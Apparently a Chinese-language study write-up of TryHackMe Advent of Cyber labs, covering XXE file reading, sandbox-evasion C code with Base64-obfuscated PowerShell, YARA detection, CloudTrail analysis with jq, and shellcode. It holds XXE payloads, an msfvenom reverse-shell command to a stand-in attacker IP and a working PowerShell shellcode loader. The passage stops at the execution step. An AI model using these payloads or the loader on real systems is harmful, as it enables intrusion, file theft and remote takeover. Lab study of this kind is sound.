將產品新增至願望清單後，按一下`Cart`按鈕或造訪以http://MACHINE_IP/cart.php 查看新增至購物車的產品。在`Cart` 頁面中點擊 `Proceed to Checkout`購買按鈕即可購買商品，如下圖：

![image](https://hackmd.io/_uploads/SymRmP_NJl.png)

在結帳頁面上，系統將提示使用者輸入姓名和地址，如下所示：

![image](https://hackmd.io/_uploads/ry9AXv_EJe.png)

輸入您選擇的任何名稱和地址，然後按一下`Complete Checkout`以放置願望。完成願望後，系統會提示「**`Wish successful. Your wish has been saved as Wish #21`**」，如下圖：

![image](https://hackmd.io/_uploads/r1i-Nwu4ye.png)

然後如果你點進去`Wish #21`就會看到這個:

![image](https://hackmd.io/_uploads/BybnBw_Vyx.png)

---

:::warning
**攔截請求**
:::

用==Burp Suite==攔截封包

可以看到:造訪`/product.php`並點擊 時，將使用以下XML`Add to Wishlist`作為輸入進行 AJAX 呼叫`wishlist.php`。

```
<wishlist>
  <user_id>1</user_id>
     <item>
       <product_id>1</product_id>
     </item>
</wishlist>
```

在上面的XML中，`<product_id>`標記包含產品的 ID，在本例中為1。現在，讓我們回顧一下`Add to Wishlist`時==Burp Suite==`HTTP History`代理選項卡下選項中記錄的請求。如上所述，請求包含作為請求轉送的XML `POST`，如下所示：

![image](https://hackmd.io/_uploads/H15_0DO4Jg.png)

`wishlist.php`接受請求並使用以下程式碼解析請求：

```PHP!
<?php
..
...
libxml_disable_entity_loader(false);
$wishlist = simplexml_load_string($xml_data, "SimpleXMLElement", LIBXML_NOENT);

...
..
echo "Item added to your wishlist successfully.";
?>
```

---

:::warning
**準備payload**
:::

當用戶向應用程式發送特製的 ==XML== 數據時，`libxml_disable_entity_loader(false)` 這一行允許 ==XML== 解析器加載外部實體。這意味著 ==XML== 輸入可以包括外部文件引用或對遠程服務器的請求。當 ==XML== 被 `simplexml_load_string` 與 `LIBXML_NOENT` 選項一起處理時，Web 應用程式會解析外部實體，這允許攻擊者訪問敏感文件或允許他們從服務器發送未預期的請求。

如果我們更新 ==XML== 請求以包含對外部實體的引用呢？我們將使用以下 ==XML== 代替上述 ==XML==：

```html
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY payload SYSTEM "/etc/hosts"> ]>
<wishlist>
  <user_id>1</user_id>
     <item>
       <product_id>&payload;</product_id>
     </item>
</wishlist>
```

當我們發送這個更新的 ==XML payload==時，前兩行引入了一個稱為 ==payload== 的外部實體。這行 `<!ENTITY payload SYSTEM "/etc/hosts">` 告訴 ==XML== 解析器將 `&payload`; 引用替換為服務器上 `/etc/hosts` 文件的內容。當 ==XML== 被處理時，應用程序將嘗試加載並包含實體中指定的文件（`/etc/hosts`）的內容，而不是正常的 `product_id`。

::: danger
**利用**
:::
現在，讓我們通過重複之前捕獲的請求來進行利用。==Burp Suite== 工具有一個稱為== Repeater== 的功能，它允許你發送多個 `HTTP` 請求。我們將使用此功能來複製我們的 `HTTP POST` 請求並多次發送它以利用該漏洞。右鍵單擊 `wishlist.php` 的 ==POST== 請求，然後點擊 ==Send to Repeater==。

![image](https://hackmd.io/_uploads/H1J2ZOuEJx.png)

然後按下==Send==發送==payload==可以看到這個:

![image](https://hackmd.io/_uploads/SyanSduVkx.png)


後面題目就是要求我們回想我們沒有權限訪問的網站---`/wishes/wish_1.txt`，嘗試訪問這個檔案，所以==payload==被更改成這樣:

```html!
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY payload SYSTEM "/var/www/html/wishes/wish_1.txt"> ]>
<wishlist>
	<user_id>1</user_id>
	<item>
	       <product_id>&payload;</product_id>
	</item>
</wishlist>
```

![image](https://hackmd.io/_uploads/B1R18ud4yg.png)

然後`wish_1.txt`可以改成`wish_2.txt`的話可以看見下一個願望清單

![image](https://tryhackme-images.s3.amazonaws.com/user-uploads/5dbea226085ab6182a2ee0f7/room-content/5dbea226085ab6182a2ee0f7-1730814073518.png)

後面根據故事敘述說的，**McSkidy**想起來應用程式存在==CHANGELOG==文件，然後給了我們一個鏈結:`http://靶機ip/CHANGELOG`然後就看到問題的其中一把flag了

:::spoiler ***問題***

#### 1:What is the flag discovered after navigating through the wishes?
HINT:||There are a lot of townspeople who submitted their wishes, so try iterating up to 20.||

#### 2:What is the flag seen on the possible proof of sabotage?

:::spoiler **Writeup**

# 1:

反正就一直換願望的編號就能拿到flag了，我懶得用手打的，所以以我用==Burp==的==Intruder==功能把1~100炸了一遍就有flag了

> **怎麼用==Intruder==**

首先把你要傳的封包擷取下來後對它點右鍵，選`Send to Intruder`，然後把你要變化的目標選取起來，然後點`Add§`(被§框住的內容就會根據你的==payload==清單變化)，所以在這裡就是長`wish_§17§.txt`這樣，然後右邊有一個`Payload type`改成`number`，`Payload configuration`的`from:0`、`to:100`，`Step`不用動 每次變化1，選好後點`Start attack`就有flag了

![image](https://hackmd.io/_uploads/SyBfY_uNJe.png)


# 2:

在==CHANGELOG==裡面

:::

## Day 6 Sandbox

:::danger
*If I can't find a nice malware to use, I'm not going.*
:::

---

:::danger
偵測沙盒環境
:::

---

***什是沙盒？***
==沙盒==是一個隔離的環境，用於執行（惡意）代碼，而不會影響系統外部的任何內容。通常，==沙盒==會安裝多種工具來監控、記錄並分析代碼行為。

---

:::danger
惡意程式行為
:::

==Mayor Malware== 知道，在執行惡意程式之前，需要檢查是否運行在沙盒環境中。如果是沙盒環境，則不應繼續執行惡意操作。

為了實現此目標，他採用了一種技術，檢查目錄 **`C:\Program Files`** 是否存在，方法是查詢註冊表路徑 **`HKLM\\Software\\Microsoft\\Windows\\CurrentVersion`**。該值可通過在註冊表編輯器中訪問相應路徑確認：

![image](https://hackmd.io/_uploads/SJdASvKNyg.png)

---

::: info
如何打開 Windows 註冊表編輯器
:::
1. 在開始菜單點擊 **運行**。
2. 輸入 `regedit`，然後按下 **Enter**。

:::success
### **此目錄在沙盒或其他虛擬化環境中經常不存在，這可能表明惡意程式正運行在沙盒環境中。**
:::

==C== 語言代碼範例：

```c
void registryCheck() {
    const char *registryPath = "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion";
    const char *valueName = "ProgramFilesDir";

    char command[512];
    snprintf(command, sizeof(command), "reg query \"%s\" /v %s", registryPath, valueName);

    int result = system(command);
    if (result == 0) {
        printf("Registry query executed successfully.\n");
    } else {
        fprintf(stderr, "Failed to execute registry query.\n");
    }
}

int main() {
    const char *flag = "[REDACTED]";
    registryCheck();
    return 0;
}
```

---

:::info
使用 YARA 偵測惡意程式
:::

==YARA== 是一種工具，用於基於代碼模式識別和分類惡意程式。通過編寫自定義規則，分析師可以定義要尋找的特定特徵，例如字符串、文件標頭或行為，YARA 將掃描文件或進程並找到匹配項。

以下是一個用於檢測沙盒的 YARA 規則：

```yara
rule SANDBOXDETECTED {
    meta:
        description = "Detects the sandbox by querying the registry key for Program Path"
        author = "TryHackMe"
        date = "2024-10-08"
        version = "1.1"

    strings:
        $cmd = "Software\\Microsoft\\Windows\\CurrentVersion\" /v ProgramFilesDir" nocase

    condition:
        $cmd
}
```

規則內容：
1. **strings** 部分：定義變量（如 `$cmd`），包含要檢測的值。
2. **condition** 部分：當文件中包含指定字符串時，規則匹配。

執行該規則的腳本將檢測是否有任何查詢上述註冊表路徑的行為。

為了進行測試，Mayor Malware 設定了一個單功能腳本，該腳本運行 ==Yara== 規則並在`C:\Tools\YaraMatches.txt`.

開啟PowerShell窗口，導航至該`C:\Tools`目錄，然後使用以下命令啟動==EDR==：

```Powershell
PS C:\Tools> .\JingleBells.ps1
No events found in Sysmon log.
Monitoring Sysmon events... Press Ctrl+C to exit.
```
該工具將在系統上運行並持續監視生成的事件日誌。如果它發現任何表明正在查詢上述註冊表項的活動/事件，它會向您發出警報。

現在，導航到`C:\Tools\Malware`並雙擊 來運行惡意軟體`MerryChristmas.exe`。

如果我們的自訂腳本完成了它的工作，您應該會看到我們的==EDR==彈出一個包含標誌的窗口，如下所示。這將是下面問題 1 的答案。現在您可以按退出自訂==EDR==`Ctrl+C`。

![image](https://hackmd.io/_uploads/HyOYdDFVkg.png)



---

:::info
添加更多規避技術
:::

為了提高隱藏性，可以通過 **==Base64 編碼==** 將註冊表查詢進行混淆，並使用 ==PowerShell== 執行：

```c
void registryCheck() {
    const char *encodedCommand = "RwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACIASABLAEwATQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuACIAIAAtAE4AYQBtAGUAIABQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwBEAGkAcgA=";
    char command[512];
    snprintf(command, sizeof(command), "powershell -EncodedCommand %s", encodedCommand);

    int result = system(command);
    if (result == 0) {
        printf("Registry query executed successfully.\n");
    } else {
        fprintf(stderr, "Failed to execute registry query.\n");
    }
}
```

![image](https://hackmd.io/_uploads/rkvrKDYEye.png)

---

:::warning
反混淆工具：Floss
:::

==Floss== 是一個工具，可以提取惡意程式二進位檔案中的混淆字符串。例如，以下命令可用來掃描指定的二進制文件：

```powershell!
PS C:\Tools\FLOSS> floss.exe C:\Tools\Malware\MerryChristmas.exe | Out-file C:\tools\malstrings.txt
```

- `floss.exe C:\Tools\Malware\MerryChristmas.exe`：此指令掃描二進位 MerryChrismas.exe 中的字串。如果惡意軟體中定義了任何硬編碼變量，Floss 應該找到它們。
- 該`|`符號將其前面的命令的輸出重定向到其後面的命令的輸入。
- `Out-file C:\tools\malstrings.txt` : 我們將命令結果保存在名為`malstrings.txt`.

透過檢查 `malstrings.txt` 文件中的內容，可以發現可能被隱藏的硬編碼變量。

---

:::info
使用 Sysmon 與 YARA 檢測惡意行為
:::

==Sysmon== 是 ==Microsoft Sysinternals== 套件中的一個工具，用於監控和記錄系統活動，包括進程建立、網絡連接和文件更改。==YARA== 規則可用於檢測 ==Sysmon== 日誌中的惡意行為。例如：

1. 使用 **get-content** 命令檢查日誌檔案內容：
   ```powershell
   PS C:\Tools> get-content C:\Tools\YaraMatches.txt
   ```

2. 根據日誌中提取的 **EventRecordID**，在 Windows 事件查看器(`Applications and Services Logs -> Microsoft -> Windows -> Sysmon -> Operational`)中創建篩選器，快速定位相關事件。

通過這些技術，分析師可以追踪惡意程式的行為並進行深入分析。

:::spoiler ***問題***

根據題述就可以拿到兩個flag了

:::

## Day7 AWS log analysis

:::danger
**Oh, no. I'M SPEAKING IN CLOUDTRAIL!**
:::

---

:::success
**在 AWS 環境中的監控**
:::

==Care4Wares== 的基礎架構運行於雲端，因此他們選擇 ==AWS== 作為其雲服務提供商 (==CSP==)。相較於在本地運行於實體機器上，他們的工作負載運行在***雲端的虛擬化實例中***。在 ==AWS== 中，這些實例被稱為 ==EC2== 實例 (==Amazon Elastic Compute Cloud==)。Wareville SOC 的一些成員對雲端環境中的日誌分析並不熟悉，隨著環境的變化，他們需要學習新的工具和服務來完成其職責。這次的職責是幫助 =Care4Wares= 查明慈善資金發生了什麼事，為此，他們需要了解 ==AWS== 的一項服務——==CloudWatch==。

---

:::info
**CloudWatch**
:::
==AWS CloudWatch== 是一個監控與可觀測性的平台，透過監控多層級的應用程式，讓我們更深入了解 ==AWS== 環境。==CloudWatch== 提供的功能包括系統和應用程式指標的監控，以及針對這些指標設定警報。然而，針對今天的調查，我們將專注於 ==**CloudWatch Logs**==。

在雲端環境中運行應用程式通常會使用多種服務（例如，運行**應用程式的服務**、==觸發==該**應用程式功能的服務**、==運行==應用程式後端的服務等）；這意味著會有==來自多種來源的日誌==。==**CloudWatch Logs**== 使得用戶能夠輕鬆地存取、監控和儲存來自這些多種來源的日誌。

為了捕獲應用程式和系統的指標，需要在相關實例上安裝 ==**CloudWatch Agent**==。

---

:::info
**CloudWatch Logs 的關鍵特性**
:::

幫助 ==Wareville SOC== 小組解析其環境中發生的事件的關鍵功能是使用過濾模式來查詢應用程式日誌。

以下是一些 ==CloudWatch== 的基本術語：
- **Log Events (日誌事件)**：一個單獨的日誌條目，記錄應用程式的“**事件**”，通常包含時間戳、日誌消息和元數據。
- **Log Streams (日誌串流)**：來自單一來源的一組日誌事件。
- **Log Groups (日誌群組)**：一組日誌串流，通常基於邏輯劃分。例如，當同一服務在多個主機上運行時，會被收集到==同一個日誌群組==中。

---

:::info
**CloudTrail**
:::
==CloudWatch== 可以追蹤基礎架構和應用程式的效能，但如果需要監控 ==AWS== 環境中的行為操作，則需使用 ==AWS== 的另一項服務 ==**CloudTrail**==。

==CloudTrail== 記錄的行為包括使用者、角色（賦予使用者特定權限的角色）或 ==AWS== 服務的操作，並以事件的形式儲存。

:::success
**CloudTrail 的主要功能**
:::
- **Always On (始終啟用)**：==CloudTrail== 預設對所有使用者開啟。
- **JSON 格式化**：==CloudTrail== 捕獲的所有事件都是 ==JSON== 格式。
- **Event History (事件歷史)**：用戶可以查看過去 90 天的行為記錄，這些記錄可以根據屬性（例如“資源類型”）進行篩選。
- **Trails (事件記錄路徑)**：預設的事件歷史可以視為一條預設路徑。用戶也可定義自訂路徑來捕獲特定的行為操作，並將記錄保留超過 90 天。

此外，==CloudTrail== 的日誌也可以選擇傳送至 ==**CloudWatch Logs**==。

---

:::info
**什麼是 JQ？**
:::
如前所述，==CloudTrail== 的日誌以 ==JSON== 格式儲存。在大量日誌中，提取有用資訊可能非常困難。因此，我們需要一個工具來轉換並過濾 ==JSON== 數據，從中提取有意義的資訊，這就是 ==**JQ** ==的功能。

==JQ==是一個輕量級且靈活的命令列處理器，用於處理 ==JSON== 資料，類似於 `sed`、`awk` 和 `grep` 等工具。

:::success
**如何使用 JQ？**
:::

原物件:

```jsonld!
[

{ "book_title": "Wares Wally", "genre": "children", "page_count": 20 },

{ "book_title": "Charlottes Web Crawler", "genre": "young_ware", "page_count": 120 },

{ "book_title": "Charlie and the 8 Bit Factory", "genre": "young_ware", "page_count": 108 },

{ "book_title": "The Princess and the Pcap", "genre": "children", "page_count": 48 },

{ "book_title": "The Lion, the Glitch and the Wardrobe", "genre": "young_ware", "page_count": 218 }

]
```
==JQ== 接收兩個輸入：==過濾條件和輸入檔案==。例如，以下是 JQ 的一個基本使用範例：
```bash
jq '.[]' book_list.json
```
上述命令會輸出 ==JSON== 中的每個物件。

```jsonld!
{
  "book_title": "Wares Wally",
  "genre": "children",
  "page_count": 20
}
{
  "book_title": "Charlottes Web Crawler",
  "genre": "young_ware",
  "page_count": 120
}
{
  "book_title": "Charlie and the 8 Bit Factory",
  "genre": "young_ware",
  "page_count": 108
}
{
  "book_title": "The Princess and the Pcap",
  "genre": "children",
  "page_count": 48
}
{
  "book_title": "The Lion, the Glitch and the Wardrobe",
  "genre": "young_ware",
  "page_count": 218
}
```

若希望提取特定欄位（例如書名），可使用以下命令：
```bash
jq '.[] | .book_title' book_list.json
```
輸出：
```
"Wares Wally"
"Charlottes Web Crawler"
"Charlie and the 8 Bit Factory"
"The Princess and the Pcap"
"The Lion, the Glitch and the Wardrobe"
```

JQ 能以多種方式過濾和轉換 ==JSON== 資料，幫助我們快速獲取安全洞見。

---

:::info
**Care4Wares 慈善資金異常案**
**已知資訊**
:::
1. 發送連結的隔天，慈善帳戶收到多筆捐款。
2. 自連結發送後的第二天起，不再有新的捐款。
3. 一位捐贈者提供了交易證明，交易日期為收到連結後的第 3 天，但交易中的帳號是錯誤的。
4. McSkidy 將數位傳單（`wareville-bank-account-qr.png`）存放於 AWS S3 存儲桶（`wareville-care4wares`）中。

---

:::success
**調查目標**
:::
- 查明該連結是否被改動。
- 確認 S3 中的數位傳單是否被更改。
- 利用 CloudWatch Logs 和 CloudTrail 追蹤相關行為，找出異常原因。

讓我們檢查與 S3 bucket wareville-care4wares 相關的 CloudTrail 日誌。以下是典型的 S3 日誌條目範例：

```json
{
  "eventVersion": "1.10",
  "userIdentity": {
    "type": "IAMUser",
    "principalId": "AIDAXRMKYT5O5Y2GLD4ZG",
    "arn": "arn:aws:iam::518371450717:user/wareville_collector",
    "accountId": "518371450717",
    "accessKeyId": "AKIAXRMKYT5OZCZPGNZ7",
    "userName": "wareville_collector"
  },
  "eventTime": "2024-10-21T22:13:24Z",
  "eventSource": "s3.amazonaws.com",
  "eventName": "ListObjects",
  "awsRegion": "ap-southeast-1",
  "sourceIPAddress": "34.247.218.56",
  "userAgent": "[aws-sdk-go/0.24.0 (go1.22.6; linux; amd64)]",
  "requestParameters": {
    "bucketName": "aoc-cloudtrail-wareville",
    "Host": "aoc-cloudtrail-wareville.s3.ap-southeast-1.amazonaws.com",
    "prefix": ""
  },
  "responseElements": null,
  "additionalEventData": {
    "SignatureVersion": "SigV4",
    "CipherSuite": "TLS_AES_128_GCM_SHA256",
    "bytesTransferredIn": 0,
    "AuthenticationMethod": "AuthHeader",
    "x-amz-id-2": "yqniVtqBrL0jNyGlvnYeR3BvJJPlXdgxvjAwwWhTt9dLMbhgZugkhlH8H21Oo5kNLiq8vg5vLoj3BNl9LPEAqN5iHpKpZ1hVynQi7qrIDk0=",
    "bytesTransferredOut": 236375
  },
  "requestID": "YKEKJP7QX32B4NZB",
  "eventID": "fd80529f-d0af-4f44-8034-743d8d92bdcf",
  "readOnly": true,
  "resources": [
    {
      "type": "AWS::S3::Object",
      "ARNPrefix": "arn:aws:s3:::aoc-cloudtrail-wareville/"
    },
    {
      "accountId": "518371450717",
      "type": "AWS::S3::Bucket",
      "ARN": "arn:aws:s3:::aoc-cloudtrail-wareville"
    }
  ],
  "eventType": "AwsApiCall",
  "managementEvent": false,
  "recipientAccountId": "518371450717",
  "eventCategory": "Data",
  "tlsDetails": {
    "tlsVersion": "TLSv1.3",
    "cipherSuite": "TLS_AES_128_GCM_SHA256",
    "clientProvidedHostHeader": "aoc-cloudtrail-wareville.s3.ap-southeast-1.amazonaws.com"
  }
}
```

當看到單個事件中包含大量資訊時，可能會讓人感到壓力，但我們可以專注於一些關鍵元素來進行調查：

| **欄位**           | **描述**                                                                                 |
|--------------------|-----------------------------------------------------------------------------------------|
| `userIdentity`     | 使用者帳戶對某個物件執行操作的詳細資訊。                                                  |
| `eventTime`        | 行動發生的時間。                                                                         |
| `eventType`        | 事件的類型是什麼？（例如：`AwsApiCall`、`AwsConsoleSignIn`、`AwsServiceEvent`）          |
| `eventSource`      | 記錄事件的服務來源是什麼？                                                              |
| `eventName`        | 發生了什麼具體操作？（例如：`ListObjects`、`GetBucketObject`）                           |
| `sourceIPAddress`  | 這個操作來自哪個 IP 位址？                                                              |
| `userAgent`        | 執行操作的使用者代理是什麼？（例如：`Firefox`、`AWS CLI`）                               |
| `requestParameters`| 此操作涉及的參數是什麼？（例如：`BucketName`）                                           |

透過上述的指導，我們可以這樣閱讀範例日誌條目：

- IAM 使用者 `wareville_collector` 列出了 S3 儲存桶 `aoc-cloudtrail-wareville` 中的所有物件（`ListObjects` 事件）。  
- 這次請求的來源 IP 位址為 `34.247.218.56`。  
- 使用者代理顯示該請求是透過 ==AWS SDK for Go== 工具發出的。  

現在我們知道要查看的重點，可以使用 ==JQ== 過濾與目標 ==S3== 物件 `wareville-bank-account-qr.png` 相關的事件。目標是使用相同的關鍵元素來過濾日誌檔案，並將結果格式化為表格以提高可讀性。根據 McSkidy 的說法，日誌存儲於 `~/wareville_logs` 資料夾中。

---

:::success
開始步驟：
:::

1. 打開桌面的終端機圖示，輸入以下兩條命令：

    ```bash
    ubuntu@tryhackme:~$ cd wareville_logs
    ubuntu@tryhackme:~/wareville_logs$ ls
    cloudtrail_log.json  rds.log
    ```

   我們先使用 `cd` 命令切換到目標資料夾，然後使用 `ls` 命令列出其中的檔案。可以看到資料夾內有兩個檔案，但我們將先專注於 `cloudtrail_log.json` 進行調查。

2. 執行以下命令開始調查 CloudTrail 日誌：

    ```bash
    jq -r '.Records[] | select(.eventSource == "s3.amazonaws.com" and .requestParameters.bucketName=="wareville-care4wares")' cloudtrail_log.json
    ```

---

:::info
命令分解：
:::

   | **指令**                              | **描述**                                                                                  |
   |---------------------------------------|------------------------------------------------------------------------------------------|
   | `jq -r 'FILTER' cloudtrail_log.json`  | `-r` 標誌指示 jq 輸出結果為原始格式（RAW），而不是 JSON。                                |
   | `.Records[]`                          | 指示 jq 解析 JSON 格式的 CloudTrail 日誌中的 `Records` 容器元素中的事件。                |
   | `select(.eventSource == "s3.amazonaws.com" and .requestParameters.bucketName=="wareville-care4wares")`       | 過濾 `eventSource` 和 `requestParameters.bucketName` 符合指定值的事件。                 |

   經過過濾後，結果已縮小範圍，僅顯示 S3 的相關事件。

3. 繼續改進輸出格式，執行以下命令：

    ```bash
    jq -r '.Records[] | select(.eventSource == "s3.amazonaws.com" and .requestParameters.bucketName=="wareville-care4wares") | [.eventTime, .eventName, .userIdentity.userName // "N/A", .requestParameters.bucketName // "N/A", .requestParameters.key // "N/A", .sourceIPAddress // "N/A"]' cloudtrail_log.json
    ```

---

:::info
命令分解：
:::

   | **指令**                                  | **描述**                                                                                  |
   |-------------------------------------------|------------------------------------------------------------------------------------------|
   | `| [.eventTime, .eventName, ...]`         | 只選擇特定欄位來顯示，如 `.eventTime` 和 `.eventName`。                                   |
   | `// "N/A"`                               | 如果欄位沒有值，顯示 `"N/A"` 作為預設值。                                                |

   這樣我們就能集中查看關鍵項目。

4. 為了更清晰地呈現結果，可以將輸出格式化為表格：

    ```bash!
    jq -r '["Event_Time", "Event_Name", "User_Name", "Bucket_Name", "Key", "Source_IP"],(.Records[] | select(.eventSource == "s3.amazonaws.com" and .requestParameters.bucketName=="wareville-care4wares") | [.eventTime, .eventName, .userIdentity.userName // "N/A", .requestParameters.bucketName // "N/A", .requestParameters.key // "N/A", .sourceIPAddress // "N/A"]) | @tsv' cloudtrail_log.json | column -t
    ```

::: info
新增功能：
:::

   | **指令**                                    | **描述**                                                                                  |
   |---------------------------------------------|------------------------------------------------------------------------------------------|
   | `["Event_Time", "Event_Name", ...]`         | 新增標題列作為表格的首行。                                                               |
   | ` @tsv`                                   | 將過濾結果格式化為制表符分隔的值。                                                       |
   | ` column -t -s $'\t'`                     | 使用制表符對齊並美化表格結果。                                                          |

:::success
調查結果：
:::

經過整理的輸出顯示，總共有 5 筆與 `wareville-care4wares` 儲存桶相關的事件，幾乎全部由使用者 `glitch` 發起。除列出儲存桶內的物件（`ListObjects` 事件）外，最顯著的細節是 `glitch` 在 ==11 月 28 日==上傳了檔案 `wareville-bank-account-qr.png`。

:::info
分析：
:::
- **相關條目數量**：5 筆。
- **主要發起者**：使用者 `glitch`。
- **執行操作**：列出物件、上傳檔案。
- **檔案名稱**：`wareville-bank-account-qr.png`。
- **時間戳記**：11 月 28 日。
- **來源 IP 位址**：與這些條目相關的 IP 均一致。  

**結論**：McSkidy 確認系統中之前不存在使用者 `glitch`，並建議進一步調查此異常用戶的活動。

:::spoiler ***問題***

#### 1.What is the other activity made by the user glitch aside from the ListObject action?

#### 2.What is the source IP related to the S3 bucket activities of the user glitch?

#### 3.Based on the eventSource field, what AWS service generates the ConsoleLogin event?

#### 4.When did the anomalous user trigger the ConsoleLogin event?

#### 5.What was the name of the user that was created by the mcskidy user?
HINT:||McSkidy reminds you that parameters for an event are logged as requestParameters.||

#### 6.What type of access was assigned to the anomalous user?
HINT:||McSkidy suggests looking at the value of the policyArn under the requestParameters key.||

#### 7.Which IP does Mayor Malware typically use to log into AWS?

#### 8.What is McSkidy's actual IP address?

#### 9.What is the bank account number owned by Mayor Malware?

:::spoiler **Writeup**

每一題跟著題目做都有答案

:::

## Day8 Shellcodes

:::danger
*Shellcodes of the world, unite!*
:::

***

:::info
基本術語介紹
:::

***

:::success
Shellcode
:::
指在漏洞利用（如==緩衝區溢出攻擊==）中，惡意攻擊者用來注入命令的一段程式碼。通常用於執行任意命令或讓攻擊者控制受害系統。殼程式通常以組合語言編寫，並根據漏洞的特性以多種方式傳遞。

***

:::success
PowerShell
:::

==Windows== 內建的一個功能強大的腳本語言及命令列殼，主要用於任務自動化和配置管理。它允許用戶與系統組件交互，廣泛應用於系統管理。但由於其對系統資源的深度訪問能力，攻擊者經常利用 ==PowerShell 作為滲透後的工具來執行腳本並避開基於磁碟的檢測機制==。

***

:::success
Windows Defender
:::
內建的安全功能，能夠檢測並阻止惡意腳本，包括基於 ==PowerShell== 的攻擊。常見的防禦規避方法包括==混淆腳本內容==以掩蓋惡意代碼，或使用內存注入技術(==reflective injection==)（如反射注入），將惡意代碼直接載入內存中，避開基於簽章的防禦。

***

:::success
Windows API
:::
==Windows== 應用程式編程介面（==API==）允許程式與底層操作系統交互，提供訪問系統級功能（如記憶體管理、文件操作和網絡功能）的橋樑。許多漏洞利用和惡意程式依賴 ==Windows API== 操控進程、分配記憶體以及執行殼程式，常見 ==Windows API==包括`VirtualAlloc`、`CreateThread`、  `WaitForSingleObject`

***

:::success
透過PowerShell反射存取 Windows API
:::

透過PowerShell反射的 Windows API 是一項進階技術，可實現從PowerShell與 Windows API 的動態互動。==PowerShell Reflection== 讓攻擊者在執行時直接呼叫 ==Windows API==函數，而不是依賴預先編譯的二進位。這將使他們能夠操縱低階系統進程，使其成為==繞過安全機制==、與==作業系統互動==以及秘密執行程式碼的主要工具。

***

:::success
Reverse Shell
:::
一種由目標機器（被攻擊的設備）向攻擊者機器發起連線的連接類型。攻擊者的機器（在這裡是 AttackBox）作為伺服器，等待目標的連線請求。

---

![image](https://hackmd.io/_uploads/SJm8cEoNke.png)


:::danger
Generating Shellcode
:::

我們可以使用 `msfvenom` 工具生成==Reverse Shellcode==。

在 ==AttackBox== 中開啟終端機，輸入以下命令生成==Shellcode==：

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKBOX_IP LPORT=1111 -f powershell
```

此命令的含義如下：
1. **`-p windows/x64/shell_reverse_tcp`**：指定要生成的負載類型，這裡是一個適用於 Windows 的反向殼程式。
2. **`LHOST=ATTACKBOX_IP`**：設置反向連線的目標 IP，即 AttackBox 的 IP。
3. **`LPORT=1111`**：指定監聽的端口號，需與監聽端口保持一致。
4. **`-f powershell`**：設置輸出格式為 PowerShell 代碼。

---

:::warning
**Where Is the Actual Shellcode?**
:::

上面輸出中的實際 ==shellcode== 是十六進位編碼的位元組數組，以`0xfc, 0xe8, 0x82`開頭，依此類推。十六進制數字表示目標機器上設定的指令。電腦可以理解二進位（1 和 0），但十六進位數字只是更容易人類閱讀的版本。因此，您看到的不是長串 1 和 0，而是類似的內容`0xfc` 。

我們可以透過將 ==shellcode== 載入到記憶體中然後建立一個線程來執行它。在本例中，我們將使用 ==PowerShell== 透過 ==C#== 程式碼呼叫一些 ==Windows API==。 下面是一個簡單的==PowerShell==腳本，它將執行我們的 ==shellcode==：

```powershell!
$VrtAlloc = @"
using System;
using System.Runtime.InteropServices;

public class VrtAlloc{
    [DllImport("kernel32")]
    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);  
}
"@

Add-Type $VrtAlloc 

$WaitFor= @"
using System;
using System.Runtime.InteropServices;

public class WaitFor{
 [DllImport("kernel32.dll", SetLastError=true)]
    public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);   
}
"@

Add-Type $WaitFor

$CrtThread= @"
using System;
using System.Runtime.InteropServices;

public class CrtThread{
 [DllImport("kernel32", CharSet=CharSet.Ansi)]
    public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
  
}
"@
Add-Type $CrtThread   

[Byte[]] $buf = SHELLCODE_PLACEHOLDER
[IntPtr]$addr = [VrtAlloc]::VirtualAlloc(0, $buf.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $buf.Length)
$thandle = [CrtThread]::CreateThread(0, 0, $addr, 0, 0, 0)
[WaitFor]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")
```

---

:::info
Explanation of the Code
:::

這段腳本開始是定義了一些 ==C#== 類別。這些類別使用 ==DllImport== 屬性來從 ==kernel32 DLL==（這是 ==Windows API== 的一部分）加載特定的函數。

* `VirtualAlloc`：函數在進程的位址空間中分配記憶體。它通常用於此類場景，為儲存和執行 shellcode 準備記憶體。
* `CreateThread`：該函數在進程中建立一個新線程。該線程將執行已載入到記憶體中的shellcode。
* `WaitForSingleObject`：函數暫停執行，直到特定執行緒完成其任務。在這種情況下，它確保 shellcode 已完成執行。

然後使用該命令將這些類別新增到==PowerShell==`Add-Type`，從而允許==PowerShell==使用這些函數。

---

**Storing the Shellcode in a Byte Array**

接下來，腳本將 ==shellcode== 儲存在`$buf`變數（一個位元組數組）中。在上面的範例中，`SHELLCODE_PLACEHOLDER`只是為了顯示您將在哪裡插入之前通過`msfvenom`.通常，您會將其替換為真實的 ==shellcode==，以一系列十六進位值表示。這些十六進制值是 ==shellcode== 運行時將執行的指令。

---

**Allocating Memory for the Shellcode**

然後`VirtualAlloc`函數分配一個儲存 shellcode 的記憶體區塊。該腳本使用以下參數：

* `0`對於記憶體位址，意味著Windows將決定在哪裡分配記憶體。
* `$size`記憶體塊的大小，由shellcode的長度決定。
* `0x3000`對於分配類型，它告訴 Windows 保留並提交記憶體。
* `0x40`對於記憶體保護，記憶體是可讀且可執行的（執行shellcode所必需的）。
* 
分配記憶體後，`Marshal.Copy`函數將 ==shellcode== 從`$buf`陣列複製到分配的記憶體位址 (`$addr`) 中，準備執行。

---

**Executing the Shellcode and Waiting for Completion**

